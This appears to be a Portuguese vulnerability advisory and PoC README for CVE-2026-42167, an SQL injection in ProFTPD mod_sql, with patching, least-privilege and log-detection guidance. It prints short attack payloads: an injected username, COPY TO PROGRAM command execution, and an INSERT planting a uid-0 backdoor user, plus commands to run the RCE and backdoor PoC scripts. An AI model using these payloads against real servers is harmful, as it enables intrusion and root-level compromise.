
Análise técnica e prova de conceito para CVE-2026-42167, uma injeção SQL crítica no ProFTPD mod_sql que permite bypass de autenticação, injeção de usuário backdoor e execução remota de código.
| Atributo | Valor |
|---|
| Tipo | Injeção SQL (CWE-89) |
| Gravidade | Alta/Crítica |
| CVSS v3 | 8.1 |
| Componente | mod_sql no ProFTPD < 1.3.9a |
| Reportado por | ZeroPath Research |
| Data | 28 de abril de 2026 |
is_escaped_text()O ProFTPD utiliza a função is_escaped_text() para determinar se um valor já foi saneado antes de inseri-lo em uma consulta SQL. A função assume que qualquer entrada que:
''...já foi escapada e não requer processamento adicional.
Um atacante pode enviar um nome de usuário malicioso como:
USER ' || (SELECT 1) ||'
Quando inserido em uma consulta SQL como:
INSERT "'%U', '%r', '%m'" activity_log
Produz-se:
INSERT "'' || (SELECT 1) || ''" activity_log
O payload é executado como SQL arbitrário porque os operadores || concatenam strings vazias ao redor do comando injetado.
Requisitos:
%U ou %{basename}Técnica:
COPY (SELECT 1) TO PROGRAM 'comando_malicioso'
Executa comandos a nível de sistema operacional como o usuário postgres.
Requisitos:
SQLAuthenticate habilitado%U em SQLLog ERR_* (pré-autenticação)Técnica:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
O atacante injeta um usuário backdoor com uid=0 (root) e acesso a todo o sistema de arquivos.
Requisitos:
Técnica: Injeção SQL cega baseada em tempo para extrair credenciais caractere por caractere.
| Variável | Significado | Alcance |
|---|---|---|
%U | Nome de usuário original (antes da autenticação) | Pré-auth |
%A | Senha de login anônimo | Pré-auth |
%J | Parâmetros do comando | Pré-auth |
%m | Verbo FTP (STOR, RETR, etc.) | Pré-auth |
%{basename} | Componente do nome de arquivo | Pós-auth |
%l | Resposta ident (RFC 1413) | Pré-auth (se identd estiver disponível) |
Pré-autenticação (mais crítica):
%U + SQLLog ERR_* → Sem credenciais necessárias
Pós-autenticação:
%{basename} + SQLLog STOR → Requer qualquer usuário FTP válido
Atualizar imediatamente para ProFTPD 1.3.9a ou superior:
# Verificar versão atual
proftpd -v
# Atualizar (exemplo para Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
Se não puder atualizar imediatamente:
# Comentar ou remover estas linhas em proftpd.conf
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- No PostgreSQL, criar usuário sem privilégios de superusuário
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- NÃO conceder SUPERUSER
TraceLog /var/log/proftpd/trace.log
Trace sql:17
Procurar nos logs de trace do ProFTPD (com Trace sql:17 habilitado):
text 'payload' is already escaped, skipping escaping it again
Esta mensagem indica que uma tentativa de bypass foi processada pelo motor vulnerável.
# Habilitar traces detalhados
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# Reiniciar ProFTPD
sudo systemctl restart proftpd
# Monitorar logs
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| Versão | Estado |
|---|---|
| < 1.3.9 | ❌ Vulnerável |
| 1.3.9 | ❌ Vulnerável |
| ≥ 1.3.9a | ✅ Corrigido |
| ≥ 1.3.10rc1 | ✅ Corrigido |
# Clonar repositório
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# Requisitos
# - Docker
# - Git
# - Python 3.10+
# - uv (gerenciador de pacotes Python)
# Configurar ambiente vulnerável
cd setup
./setup.sh
# Executar PoCs
cd ../pocs
python3 preauth_user_backdoor.py # Injetar usuário backdoor (pré-auth)
python3 preauth_user_rce.py # RCE via COPY TO PROGRAM (pré-auth)
python3 postauth_stor_backdoor.py # Injetar usuário (pós-auth)
python3 postauth_stor_rce.py # RCE (pós-auth)
# Limpar
cd ../setup
./teardown.sh
| Data | Evento |
|---|---|
| 2026-03-28 | Vulnerabilidade reportada ao ProFTPD |
| 2026-04-07 | Verificação e desenvolvimento do patch |
| 2026-04-24 | CVE-2026-42167 atribuído |
| 2026-04-27 | Patch liberado (commit af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | ProFTPD 1.3.9a lançado |
SQLLog em todos os servidores ProFTPDÚltima atualização: 28 de abril de 2026
Fonte: ZeroPath Research, MITRE CVE, NVD